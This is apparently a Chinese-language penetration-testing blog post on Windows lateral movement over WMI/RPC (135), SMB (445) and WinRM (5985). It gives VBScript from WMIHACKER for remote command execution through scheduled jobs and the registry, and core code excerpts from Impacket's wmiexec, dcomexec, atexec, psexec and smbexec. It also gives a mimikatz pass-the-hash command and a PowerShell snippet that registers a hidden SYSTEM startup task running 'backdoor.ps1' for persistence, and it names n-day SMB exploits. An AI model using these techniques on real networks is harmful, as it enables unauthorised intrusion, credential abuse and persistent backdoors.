MSRPC-wmi相关利用(135)
计划任务
我们可以通过windows原生的vbscript语言和ps1脚本调用WQL语句
例如:
Function AddJobWithRes(cmd,file,exec_time,time_zone)
exec_time = "********"&exec_time&"00.000000"&time_zone
command = "c:\windows\system32\cmd.exe /c " & cmd & " > " & file
Set objNewJob = objWMIService.Get("Win32_ScheduledJob")
errJobCreated = objNewJob.Create(command, exec_time, True , , , True, JobId)
If errJobCreated <> 0 Then
Wscript.Echo "WMIHACKER : Error on task creation"
Else
Wscript.Echo "WMIHACKER : Task created Wait For Exec...(Max Time is 00:59)"
End If
ReplacedFile = Replace(file,"\","\\")
strQuery = "SELECT * FROM CIM_DataFile where name="&chr(34)&ReplacedFile&chr(34)
Dim done
done = false
Do Until done
Wscript.Sleep 2000
Set colItems = objWMIService.ExecQuery(strQuery, "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
For Each objItem in colItems
WScript.Echo "WMIHACKER : File Write Success. "
done = true
Next
loop
End Function
就能执行命令
不只是写到临时文件里面,我们还可以写到reg注册表里面然后再读取:
Function ReadResult(Version)
Dim Res32, Res64
if Version < 6 Then
Res32 = GetStringValue (".", HKEY_LOCAL_MACHINE, "SOFTWARE\Classes\hello\", "part1", 32, Version)
wscript.echo Base64Decode(Res32,False)
else
Res32 = GetStringValue (".", HKEY_LOCAL_MACHINE, "SOFTWARE\Classes\hello\", "part1", 32, Version)
Res64 = GetStringValue (".", HKEY_LOCAL_MACHINE, "SOFTWARE\Classes\hello\", "part1", 64, Version)
If Res32 = Empty Then
wscript.echo Base64Decode(Res64,False)
else
wscript.echo Base64Decode(Res32,False)
end if
End if
End Function
Function GetStringValue (ByVal Resource, ByVal hDefKey, ByVal SubKeyName, ByVal ValueName, ByVal Architecture, ByVal Version)
Set oReg = regWMIService.Get("StdRegProv")
Dim oCtx: Set oCtx = CreateObject("WbemScripting.SWbemNamedValueSet")
oCtx.Add "__ProviderArchitecture", Architecture
oCtx.Add "__RequiredArchitecture", True
Dim oInParams: Set oInParams = oReg.Methods_("GetStringValue").InParameters
oInParams.hDefKey = hDefKey
oInParams.sSubKeyName = SubKeyName
oInParams.sValueName = ValueName
Dim oOutParams: Set oOutParams = oReg.ExecMethod_("GetStringValue", oInParams, , oCtx)
GetStringValue = oOutParams.sValue
End Function
就能实现半交互式的shell
具体利用的脚本
https://github.com/rootclay/WMIHACKER
或者是你使用Impacket包的atexec.py
核心代码下
# 创建 AT 计划任务来执行命令
self.dce.rpc_at_svc_add_job(cmd='cmd.exe /Q /c {} > \\\\127.0.0.1\\C$\\Windows\\Temp\\output.txt'.format(command))
# 通过 SMB 读取输出文件
self.smb.getFile('C$', 'Windows\\Temp\\output.txt', sys.stdout.write)
不过是利用了smb获取回显就是了
Dcom+wmi
dcomexec.py
通过 DCOM(分布式组件对象模型)在远程主机上执行命令。它利用 DCOM 的 IWBEMServices
接口调用 WMI 来执行命令。
核心代码:
# 通过 DCOM 调用 WMI 的 Win32_Process 类来执行命令
dcom_client = DCOMConnection(self.target, ...)
iWbemServices = dcom_client.CoCreateInstanceEx(IID_IWbemServices)
iWbemServices.ExecMethod('Win32_Process', 'Create', cmd='cmd.exe /Q /c {} > \\\\127.0.0.1\\C$\\Windows\\Temp\\output.txt'.format(command))
# 通过 SMB 读取输出文件
self.smb.getFile('C$', 'Windows\\Temp\\output.txt', sys.stdout.write)
核心机制:
-
执行命令:通过 DCOM 调用 WMI 的
Win32_Process.Create()
方法来启动cmd.exe
,并执行命令。 -
获取输出:与
wmiexec.py
类似,命令输出被重定向到临时文件,然后通过 SMB 读取该文件的内容。
总结:
-
执行方式:通过 DCOM 调用 WMI 来执行命令。
-
输出回显:通过 SMB 读取临时文件中的命令输出。
-
优势:利用 DCOM 进行远程命令执行,适用于有 DCOM 访问权限的环境。
-
劣势:依赖 DCOM 和 SMB 服务,可能会留下文件痕迹。
WMI接口命令调用
我们不止可以通过wmi::Win32_ScheduledJob类来实现命令执行,我们可以直接通过Win32_process类直接调用:
在impacket包中有wmiexec.py的工具↓
核心代码
# 调用 WMI 的 Win32_Process 类
win32_process = self._dcom.get_interface('WbemLevel1Login').ConnectServer().GetObject('Win32_Process')
# 创建 cmd.exe 进程并执行命令,输出重定向到 SMB 共享目录
win32_process.Create('cmd.exe /Q /c {} > \\\\127.0.0.1\\C$\\Windows\\Temp\\output.txt'.format(command))
# 通过 SMB 读取输出文件
self._smb.getFile('C$', 'Windows\\Temp\\output.txt', sys.stdout.write)
# 删除临时文件
win32_process.Create('cmd.exe /Q /c del \\\\127.0.0.1\\C$\\Windows\\Temp\\output.txt')
在命令执行后,就调用smb文件共享服务读取output.txt来获取回显,所以要想利用就得开smb和rpc服务(445+135)
SMB横向相关利用(445)
Nday利用
ms08_067
针对winxp
ms17-010
针对win7+vista-win2008
smbghost(cve-2020-0796)
win10专属
Psexec
非常经典的工具
核心机制:
-
执行命令:通过 SMB 上传一个临时的服务二进制文件(
psexesvc.exe
),在目标主机上安装并启动该服务来执行命令。 -
获取输出:命令的输出直接通过 SMB 管道返回给攻击者。
核心代码:
# 上传 PsExec 服务二进制文件
self.transferClient.putFile(self.share, self.path, data)
# 创建服务来执行命令
dce = self.dce_rpc.connect()
svc_handle = scm.CreateServiceW(sch, service_name, service_name, ...)
svc_handle.StartServiceW(command)
# 通过 SMB 管道获取输出
output = self.transferClient.readPipe(self.share, self.pipe)
-
执行方式:通过 SMB 上传并启动一个服务来执行命令。
-
输出回显:通过 SMB 管道直接返回命令输出。
-
优势:命令输出实时返回,适用于执行复杂命令。
-
劣势:需要上传可执行文件,可能会被检测到。
Smbexec
smbexec.py
是一种无文件的远程命令执行工具,它通过 SMB 在目标主机上执行命令,并通过 SMB 管道获取命令输出。与 psexec.py
不同,它不需要上传可执行文件。
核心机制:
-
执行命令:利用 SMB 管道在目标主机上启动
cmd.exe
,并通过管道传递命令。 -
获取输出:命令的输出通过 SMB 管道返回给攻击者。
核心代码:
# 通过 SMB 管道启动 cmd.exe
self.transferClient.execute('cmd.exe /Q /c {}'.format(command))
# 通过 SMB 管道获取输出
output = self.transferClient.readPipe(self.share, self.pipe)
总结:
-
执行方式:通过 SMB 管道启动
cmd.exe
。 -
输出回显:通过 SMB 管道返回命令输出。
-
优势:无文件执行,命令输出通过管道返回。
-
劣势:依赖 SMB 管道,可能会受到网络配置的限制。
winrm相关利用(5985)
winrm相关利用(5985)
mimikatz+powershell实现哈希传递
首先利用mimikatz注入哈希到powerhsell.exe:
mimikatz # sekurlsa::pth /user:Administrator /domain:target.local /ntlm:<NTLM_HASH> /run:powershell.exe
powershell>
接着执行:
$session = New-PSSession -ComputerName target.local -Credential $cred
Enter-PSSession -Session $session
winrm持久化
由于winrm是原生windows组件,不会留下额外的后门,所有在持久化上有较好的利用
使用 PowerShell 创建计划任务
攻击者可以通过 WinRM 使用 PowerShell 在远程主机上创建计划任务,从而在系统重启后仍然保持控制:
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -File C:\backdoor.ps1'
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'BackdoorTask' -User 'SYSTEM'
这段代码会在目标主机启动后执行 backdoor.ps1
脚本,从而实现持久化控制。
比总结
工具 | 执行方式 | 输出回显方式 | 优势 | 劣势 |
---|---|---|---|---|
wmiexec.py | WMI 调用 cmd.exe | 重定向到临时文件,通过 SMB 读取 | 无文件执行,适用于不允许上传文件的场景 | 依赖 WMI 和 SMB 服务,可能留下痕迹 |
psexec.py | 上传并启动服务 | 通过 SMB 管道直接获取 | 实时回显,适用于复杂命令 | 需要上传可执行文件,容易被检测 |
smbexec.py | 通过 SMB 管道启动 cmd.exe | 通过 SMB 管道直接获取 | 无文件执行,命令输出通过管道返回 | 依赖 SMB 管道,可能受网络限制 |
dcomexec.py | 通过 DCOM 调用 WMI | 重定向到临时文件,通过 SMB 读取 | 利用 DCOM 进行远程执行 | 依赖 DCOM 和 SMB 服务,可能留下痕迹 |
atexec.py | 通过 AT 计划任务执行命令 | 重定向到临时文件,通过 SMB 读取 | 利用计划任务进行执行 | 依赖 AT 计划任务和 SMB 服务,可能留下痕迹 |
winrm+powershell+mimikatz | 通过windows自带组件的来执行命令。类似于ssh | 直接交互 | 和正常管理员流量一致 | 需开启5985或者是5986端口上的winrm服务就是 |
wmihacker.vbs | 通过wmi调用定时任务设置命令 | 输出到注册表,然后通过rpc来读取注册表 | 只用开启rpc 135端口就可以利用,不用445 | 对权限要求较高,需要获取admin用户的凭据 |
核心区别:
-
执行方式:不同工具使用了不同的机制来执行命令,包括 WMI、SMB 管道、DCOM、服务和计划任务。
-
输出回显:
psexec.py
和smbexec.py
通过 SMB 管道实时获取输出,而其他工具则通过重定向输出到临时文件并通过 SMB 读取。 -
无文件与文件执行:
wmiexec.py
和smbexec.py
是无文件执行,而psexec.py
需要上传可执行文件。